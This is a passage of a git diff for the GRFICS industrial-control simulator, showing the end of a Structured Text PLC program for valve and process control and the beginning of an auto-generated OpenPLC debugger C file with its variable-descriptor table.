hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, 